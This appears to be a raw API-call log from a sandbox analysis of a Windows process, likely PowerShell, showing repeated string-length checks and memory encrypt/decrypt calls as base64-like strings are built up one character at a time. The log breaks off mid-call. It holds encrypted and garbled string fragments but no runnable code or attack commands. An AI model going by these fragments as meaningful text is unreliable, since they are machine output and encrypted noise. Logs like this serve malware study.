SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜忶덎퇚椃鎩閗红㶻") returned 0x18 [0222.720] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜忶덎퇚椃鎩閗红㶻") returned 0x18 [0222.720] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.720] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAӽ") returned 0x18 [0222.720] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.720] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜蔫༤쿰챱콈蝀") returned 0x18 [0222.720] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜蔫༤쿰챱콈蝀") returned 0x18 [0222.720] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.720] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAO") returned 0x18 [0222.720] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.720] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜邖퉎瘲まၷέ\∽) returned 0x18 [0222.720] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜邖퉎瘲まၷέ\∽) returned 0x18 [0222.720] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.721] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOW") returned 0x18 [0222.721] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0222.721] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒") returned 0x18 [0222.721] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒") returned 0x18 [0222.721] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒") returned 0x18 [0222.721] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒") returned 0x20 [0222.721] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.721] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOWV鿂諑걞᭕ꂩ") returned 0x20 [0222.721] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.722] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒᷂졨퉅抉캌슦⠭ꭽ") returned 0x20 [0222.722] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒᷂졨퉅抉캌슦⠭ꭽ") returned 0x20 [0222.722] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.722] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOWVL諑걞᭕ꂩ") returned 0x20 [0222.722] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.722] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒㫫胎ᛛ\痢სֻ∰) returned 0x20 [0222.722] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒㫫胎ᛛ\痢სֻ∰) returned 0x20 [0222.722] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.722] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOWVL0걞᭕ꂩ") returned 0x20 [0222.722] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.724] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒摹鴌堜Ⲍ⃂᪍偠") returned 0x20 [0222.724] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒摹鴌堜Ⲍ⃂᪍偠") returned 0x20 [0222.724] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.724] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOWVL0/걞᭕ꂩ") returned 0x20 [0222.724] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.724] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒댌̺뉛㇦褁륄毭") returned 0x20 [0222.724] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒댌̺뉛㇦褁륄毭") returned 0x20 [0222.724] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.724] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOWVL0/Y᭕ꂩ") returned 0x20 [0222.724] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.724] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒捓꬝䲌읧뮕祧") returned 0x20 [0222.724] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒捓꬝䲌읧뮕祧") returned 0x20 [0222.724] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.724] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOWVL0/Ybꂩ") returned 0x20 [0222.724] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.725] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒\ዙ择ጋ撯ⵯꋽ⊃) returned 0x20 [0222.725] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒\ዙ择ጋ撯ⵯꋽ⊃) returned 0x20 [0222.725] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.725] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOWVL0/Ybqꂩ") returned 0x20 [0222.725] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.725] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒깒ß犾鈛ʀ㢎뢴") returned 0x20 [0222.725] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒깒ß犾鈛ʀ㢎뢴") returned 0x20 [0222.725] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.725] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOWVL0/YbqU") returned 0x20 [0222.725] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0222.725] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷") returned 0x20 [0222.726] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷") returned 0x20 [0222.726] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷") returned 0x20 [0222.726] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷") returned 0x28 [0222.726] SystemFunction041 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.726] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOWVL0/YbqUe猏᥃ﮘ縐⯋ࡌ") returned 0x28 [0222.726] SystemFunction040 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.726] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷힅봪춧幂鐥⭷") returned 0x28 [0222.727] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷힅봪춧幂鐥⭷") returned 0x28 [0222.727] SystemFunction041 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.727] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOWVL0/YbqUeh᥃ﮘ縐⯋ࡌ") returned 0x28 [0222.727] SystemFunction040 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.727] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷\ᓘࣄഉ൪꒿끭≝) returned 0x28 [0222.727] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷\ᓘࣄഉ൪꒿끭≝) returned 0x28 [0222.727] SystemFunction041 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.727] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOWVL0/YbqUeh5ﮘ縐⯋ࡌ") returned 0x28 [0222.727] SystemFunction040 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.727] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷ㅯᚥ礍뤉큦") returned 0x28 [0222.727] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷ㅯᚥ礍뤉큦") returned 0x28 [0222.727] SystemFunction041 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.727] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOWVL0/YbqUeh5Yﮘ縐⯋ࡌ") returned 0x28 [0222.727] SystemFunction040 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.728] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷⸼瘔珝坬윢﻽视") returned 0x28 [0222.728] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷⸼瘔珝坬윢﻽视") returned 0x28 [0222.728] SystemFunction041 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.728] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOWVL0/YbqUeh5Y9縐⯋ࡌ") returned 0x28 [0222.728] SystemFunction040 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.728] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷킧㧑堐鐛䟮") returned 0x28 [0222.728] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷킧㧑堐鐛䟮") returned 0x28 [0222.728] SystemFunction041 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.728] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOWVL0/YbqUeh5Y97⯋ࡌ") returned 0x28 [0222.728] SystemFunction040 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.728] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷쾜殬尉믁旳湕✼۞") returned 0x28 [0222.728] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷쾜殬尉믁旳湕✼۞") returned 0x28 [0222.728] SystemFunction041 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.729] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOWVL0/YbqUeh5Y97qࡌ") returned 0x28 [0222.729] SystemFunction040 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.729] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷琰ᓧ炒ᝮ죛풡") returned 0x28 [0222.729] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷琰ᓧ炒ᝮ죛풡") returned 0x28 [0222.729] SystemFunction041 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.729] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOWVL0/YbqUeh5Y97qR") returned 0x28 [0222.729] SystemFunction040 (in: Memory=0x5c91f54, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91f54) returned 0x0 [0222.729] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷຋괫工砒荬ᄔ螩鷙") returned 0x28 [0222.729] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷຋괫工砒荬ᄔ螩鷙") returned 0x28 [0222.729] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷຋괫工砒荬ᄔ螩鷙") returned 0x28 [0222.730] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷຋괫工砒荬ᄔ螩鷙") returned 0x30 [0222.730] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0222.730] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOWVL0/YbqUeh5Y97qR5閾⪌시ࢃꝫ僢") returned 0x30 [0222.730] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0222.730] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷຋괫工砒荬ᄔ螩鷙᫫䜷ꔡ搂䛀謾ą") returned 0x30 [0222.730] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷຋괫工砒荬ᄔ螩鷙᫫䜷ꔡ搂䛀謾ą") returned 0x30 [0222.730] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0222.730] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOWVL0/YbqUeh5Y97qR5N⪌시ࢃꝫ僢") returned 0x30 [0222.730] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0222.730] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷຋괫工砒荬ᄔ螩鷙꡺ꭎ㹄퐅௽䅗毑") returned 0x30 [0222.730] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷຋괫工砒荬ᄔ螩鷙꡺ꭎ㹄퐅௽䅗毑") returned 0x30 [0222.730] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0222.731] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOWVL0/YbqUeh5Y97qR5N0시ࢃꝫ僢") returned 0x30 [0222.731] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0222.731] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷຋괫工砒荬ᄔ螩鷙滟⓴⯽똹꟎紥俼⛟") returned 0x30 [0222.731] SysStringLen (param_1="豤ꌱꔛ箸㊙உꅗ᭼甇⮨ᴙ맹⑟瞎㭜鈦ꝗﶸ䈹➱괪颫涒뿷䮚渪䩱灷졯墸앷຋괫工砒荬ᄔ螩鷙滟⓴⯽똹꟎紥俼⛟") returned 0x30 [0222.731] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0222.731] SysStringLen (param_1="o33pUJ83fYie886DTdrFfAOWVL0/YbqUeh5Y97qR5N0=ࢃꝫ僢") returned 0x30 [0222.731] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0222.731] EtwEventActivityIdControl () returned 0x0 [0222.731] EtwEventActivityIdControl () returned 0x0 [0222.731] EtwEventActivityIdControl () returned 0x0 [0222.732] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0222.732] EtwEventActivityIdControl () returned 0x0 [0222.732] EtwEventActivityIdControl () returned 0x0 [0222.732] EtwEventActivityIdControl () returned 0x0 [0222.733] SysStringLen (param_1="") returned 0x8 [0222.733] SysStringLen (param_1="N") returned 0x8 [0222.733] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.733] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0222.733] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0222.733] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.733] SysStringLen (param_1="ND") returned 0x8 [0222.733] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.733] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0222.734] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0222.734] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.734] SysStringLen (param_1="NDZ") returned 0x8 [0222.734] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.734] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0222.734] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0222.734] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.734] SysStringLen (param_1="NDZl") returned 0x8 [0222.734] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.734] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0222.734] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0222.734] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.734] SysStringLen (param_1="NDZlO") returned 0x8 [0222.734] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.735] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0222.735] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0222.735] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.735] SysStringLen (param_1="NDZlOD") returned 0x8 [0222.735] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.735] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0222.735] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0222.735] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.735] SysStringLen (param_1="NDZlODR") returned 0x8 [0222.735] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.735] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0222.735] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0222.735] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.736] SysStringLen (param_1="NDZlODRm") returned 0x8 [0222.736] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0222.736] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0222.736] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0222.736] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0222.736] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0222.736] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.737] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0222.737] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.737] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0222.737] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0222.737] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.737] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0222.737] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.847] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0222.847] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0222.847] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.848] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0222.848] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0222.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0222.848] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.848] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0222.848] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0222.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0222.848] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.848] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0222.848] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0222.849] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0222.849] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0222.849] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0222.849] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, 